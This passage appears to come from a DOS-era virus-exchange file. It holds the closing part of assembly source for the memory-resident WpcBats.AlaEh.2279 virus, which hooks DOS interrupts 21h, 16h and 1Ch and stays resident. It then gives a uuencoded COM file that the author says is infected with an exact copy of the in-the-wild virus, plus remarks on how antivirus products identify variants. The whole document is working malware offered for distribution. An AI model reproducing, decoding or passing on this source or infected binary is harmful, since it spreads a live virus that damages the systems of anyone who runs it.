int 21h
mov ah,9
mov dx,offset AlaehPrompt
int 21h
mov ah,9
mov dx,offset NewLine
int 21h
mov ax,4c00h
int 21h
NewLine db 13,10,'$'
NotResident:
mov [HostIsExecutingFlag],0 ;initialize data
mov [Timer],0
mov word ptr [RelocToVir],offset MainVirusCode
mov ax,351ch
int 21h ;save int 1c
mov [Int1cOffset],bx
mov [Int1cSegment],es
mov ax,3516h ;...and int 16
int 21h
mov [Int16Offset],bx
mov [Int16Segment],es
mov ax,3521h ;...and int 21
int 21h
mov [Int21Offset],bx
mov [Int21Segment],es
mov ax,2521h ;hook int 21
mov dx,offset Int21Handler
call UseDos
mov ax,2516h ;...and int 16
mov dx,offset Int16Handler
call UseDos
mov ax,251ch ;...and int 1c
mov dx,offset Int1cHandler
call UseDos
push cs
pop ds
push cs
pop es
call ShowAlaEhMessage ;show id
mov dx,MemRequired
mov ah,31h ;and terminate and reside in memory
call UseDos
WpcBatsAlaEh2279 ends
end Relocator
ÄÄ WPCA2279.ASM ENDS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The uuencoded file below is infected by a virus created by compiling
the source code above in TASM 2.01. The virus in this file is on the
third generation. The codes of the virus in this file is guaranteed
to be an exact byte-for-byte match of the virus found in the wild.
However, AVs use uninitialized data to determine variations from the
original virus. The values of these far pointers are beyond my
control. If AVs detect this file as having a somewhat different virus
or a not exact identification, then that AV uses uninitialized dat as
determinant for variants.
ÄÄ WPCA2279.UUE STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
begin 644 wpca2279.com
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
>(,3$Q,3$Q,0-50$H#F4/P0(H#@@&```````````!
`
end
ÄÄ WPCA2279.UUE ENDS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
-=<{[* HF4 *]}>=-